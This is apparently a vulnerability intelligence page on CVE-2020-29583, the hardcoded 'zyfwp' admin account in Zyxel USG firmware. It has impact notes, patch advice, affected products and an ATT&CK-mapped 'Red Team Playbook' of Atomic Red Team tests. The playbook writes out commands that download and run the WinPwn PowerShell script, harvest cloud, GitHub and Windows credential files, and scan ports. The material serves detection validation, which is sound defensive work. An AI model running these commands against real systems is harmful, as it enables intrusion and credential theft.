CVE-2020-29583

CRITICAL CISA KEV POC TTE 13d Pub 22/12 Upd 21/10

Overview

This vulnerability is a hardcoded credential issue in Zyxel USG firmware version 4.60. An undocumented user account named 'zyfwp' exists with a fixed password embedded in cleartext within the firmware image. This account provides administrative access to device management interfaces, including SSH and the web interface, without the possibility of changing the password.

Vulnerability Description

Firmware version 4.60 of Zyxel USG devices contains an undocumented account (zyfwp) with an unchangeable password. The password for this account can be found in cleartext in the firmware. This account can be used by someone to login to the ssh server or web interface with admin privileges.

Impact

An attacker with network access to the affected Zyxel USG devices can authenticate as an administrator without any prior credentials or user interaction. This grants full control over device configuration and management, enabling unauthorized access to sensitive network infrastructure. The compromise can lead to lateral movement within the network, interception or manipulation of traffic, and disruption of network services.

Solution

Zyxel has released patched firmware versions to address this issue; administrators should upgrade affected devices to firmware version 4.60 Patch 1 or later as detailed in Zyxel's security advisory available at https://www.zyxel.com/support/security_advisories.shtml. The advisory provides step-by-step instructions for updating USG20, USG40, and USG60 series devices. No workaround is recommended other than applying the official firmware update to remove the hardcoded account.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in firmware version 4.60 of various Zyxel USG devices is characterized by the existence of an undocumented account, known as "zyfwp," which is equipped with an unchangeable password that is stored in cleartext within the firmware. This design flaw allows unauthorized users to access the device's SSH server or web interface with administrative privileges. The implications of this vulnerability are severe, as it effectively bypasses any authentication mechanisms that would typically protect sensitive configurations and data. The presence of such an account raises significant concerns regarding the security posture of devices that rely on this firmware version, as it undermines the fundamental principle of least privilege.

Exploitation of this vulnerability can occur through multiple attack vectors. An adversary with knowledge of the undocumented account can leverage it to gain unauthorized access to the affected devices. This could be achieved through various means, such as scanning for devices with the vulnerable firmware version, utilizing default credentials, or employing social engineering tactics to obtain access. Once inside, an attacker could manipulate network settings, exfiltrate sensitive data, or deploy malware, leading to further compromise of the network infrastructure. The ease of access provided by the unchangeable password makes this vulnerability particularly appealing to threat actors, as it significantly reduces the effort required to gain control over critical network resources.

The real-world impact of this vulnerability on businesses can be profound. Organizations utilizing the affected Zyxel devices may face a range of consequences, including data breaches, loss of customer trust, regulatory fines, and operational disruptions. The administrative access granted by the undocumented account could allow attackers to modify firewall rules, disable security features, or even pivot to other systems within the network. This could result in extensive damage, not only to the organization's reputation but also to its financial stability. The high CVSS score of 9.8 reflects the critical nature of this vulnerability, indicating that organizations should prioritize addressing it to mitigate potential risks.

To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First, they should conduct thorough audits of their network infrastructure to identify any devices running the vulnerable firmware version. Regular vulnerability assessments and penetration testing can help uncover such weaknesses before they are exploited by malicious actors. Additionally, organizations should implement strict access controls and network segmentation to limit the potential impact of any unauthorized access. Updating the firmware to a secure version that eliminates the undocumented account is essential. Furthermore, employing intrusion detection systems can help monitor for unusual activity that may indicate exploitation attempts.

In conclusion, the presence of an undocumented account with an unchangeable password in the firmware of various Zyxel USG devices poses a significant threat to network security. The potential for exploitation is high, and the consequences can be dire for organizations that fail to address this vulnerability. By proactively identifying affected devices, implementing robust security measures, and maintaining up-to-date firmware, organizations can protect themselves against the risks associated with this serious security flaw. The importance of vigilance in cybersecurity cannot be overstated, as the landscape of threats continues to evolve, necessitating a proactive and informed approach to safeguarding critical infrastructure.




Recent developments in the exploitation landscape of CVE-2020-29583 have significantly elevated the threat profile associated with this vulnerability. CSURFACE threat intelligence has identified the emergence of publicly available proof-of-concept exploit code hosted on GitHub, which facilitates automated scanning and identification of vulnerable Zyxel USG devices harboring the undocumented administrative account. This accessibility markedly lowers the technical barrier for adversaries to conduct reconnaissance and potential compromise. Concurrently, the vulnerability’s inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog underscores its recognized criticality at the federal level, signaling an increased likelihood of targeted exploitation campaigns. Our telemetry indicates a stable yet persistently high Exploit Prediction Scoring System (EPSS) rating, reflecting sustained exploitation potential in the wild. The CVSS score adjustment to 9.8 aligns with these developments, confirming the vulnerability’s critical severity and its capacity to grant attackers privileged access via SSH or web interface. Collectively, these changes necessitate heightened vigilance among defenders, as the expanded exploit availability and official recognition amplify the risk of widespread compromise. The threat level has thus escalated from theoretical to actively exploitable, demanding prioritized attention within vulnerability management and incident response frameworks.



Update 2 — July 06, 2026

CSURFACE threat intelligence has detected a modest but meaningful increase in activity related to CVE-2020-29583, indicating a gradual uptick in attempts to leverage the undocumented zyfwp account on vulnerable Zyxel USG devices. While the overall exploit trend remains stable according to EPSS metrics, our telemetry reveals a discernible rise in scanning and probing behaviors consistent with reconnaissance preceding targeted intrusions. The availability of a publicly accessible proof-of-concept scanner continues to lower the barrier for adversaries, potentially broadening the attacker base beyond highly skilled actors. This evolving landscape underscores an elevated risk profile, as the vulnerability’s critical severity combined with increased exploitation attempts heightens the likelihood of unauthorized administrative access. Consequently, the threat level should be viewed as increasingly active, warranting sustained monitoring to detect early signs of compromise and lateral movement within affected networks.

Affected Products (30)

Vendor Product Version CPE
zyxel Zyxel Usg20-Vpn Firmware 4.60 cpe:2.3:o:zyxel:usg20-vpn_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Usg20w-Vpn Firmware 4.60 cpe:2.3:o:zyxel:usg20w-vpn_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Usg40 Firmware 4.60 cpe:2.3:o:zyxel:usg40_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Usg40w Firmware 4.60 cpe:2.3:o:zyxel:usg40w_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Usg60 Firmware 4.60 cpe:2.3:o:zyxel:usg60_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Usg60w Firmware 4.60 cpe:2.3:o:zyxel:usg60w_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Usg110 Firmware 4.60 cpe:2.3:o:zyxel:usg110_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Usg210 Firmware 4.60 cpe:2.3:o:zyxel:usg210_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Usg310 Firmware 4.60 cpe:2.3:o:zyxel:usg310_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Usg1100 Firmware 4.60 cpe:2.3:o:zyxel:usg1100_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Usg1900 Firmware 4.60 cpe:2.3:o:zyxel:usg1900_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Usg2200 Firmware 4.60 cpe:2.3:o:zyxel:usg2200_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Zywall110 Firmware 4.60 cpe:2.3:o:zyxel:zywall110_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Zywall310 Firmware 4.60 cpe:2.3:o:zyxel:zywall310_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Zywall1100 Firmware 4.60 cpe:2.3:o:zyxel:zywall1100_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Atp100 Firmware 4.60 cpe:2.3:o:zyxel:atp100_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Atp100w Firmware 4.60 cpe:2.3:o:zyxel:atp100w_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Atp200 Firmware 4.60 cpe:2.3:o:zyxel:atp200_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Atp500 Firmware 4.60 cpe:2.3:o:zyxel:atp500_firmware:4.60:*:*:*:*:*:*:*
zyxel Zyxel Atp700 Firmware 4.60 cpe:2.3:o:zyxel:atp700_firmware:4.60:*:*:*:*:*:*:*
+10 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
ruppde/scan_CVE-2020-29583
Scanner for Zyxel products which are potentially vulnerable due to an undocumented user account (CVE-2020-29583)
ruppde 16 3 2021-01-04 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

5 events
2026-07-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2021-01-04
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

hardcoded_credentials
95% hardcoded_credentials
Authentication Bypass
92% auth_bypass
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1133 External Remote Services Initial Access initial-access, persistence Containers, Linux, macOS, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-50 Password Recovery Exploitation
40%
Medium High
CAPEC-652 Use of Known Kerberos Credentials
31%
Medium High
CAPEC-600 Credential Stuffing
31%
High High
CAPEC-509 Kerberoasting
31%
High
CAPEC-555 Remote Services with Stolen Credentials
31%
Very High

Red Team Playbook

34 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1133 Running Chrome VPN Extensions via the Registry 2 vpn extension Windows PowerShell Privileged
Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see "T1133\src\list of vpn extension.txt" to view complete list
Command (PowerShell)
$extList = #{extension_id}
foreach ($extension in $extList) {
  New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
  New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force}
Start chrome
Start-Sleep -Seconds 30
Stop-Process -Name "chrome"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (9)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-29583
zyxel.com
GitHub CVE
https://www.zyxel.com/support/security_advisories.shtml
ftp.zyxel.com
GitHub CVE
http://ftp.zyxel.com/USG40/firmware/USG40_4.60%28AALA.1%29C0_2.pdf
businessforum.zyxel.com
GitHub CVE
https://businessforum.zyxel.com/discussion/5254/whats-new-for-zld4-60-patch-1-available-on-dec-15
businessforum.zyxel.com
GitHub CVE
https://businessforum.zyxel.com/discussion/5252/zld-v4-60-revoke-and-wk48-firmware-release
eyecontrol.nl
GitHub CVE
https://www.eyecontrol.nl/blog/undocumented-user-account-in-zyxel-products.html
zyxel.com
GitHub CVE
https://www.zyxel.com/support/CVE-2020-29583.shtml
secpod.com
GitHub CVE
https://www.secpod.com/blog/a-secret-zyxel-firewall-and-ap-controllers-could-allow-for-administrative-access-cve-2020-29583/
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-29583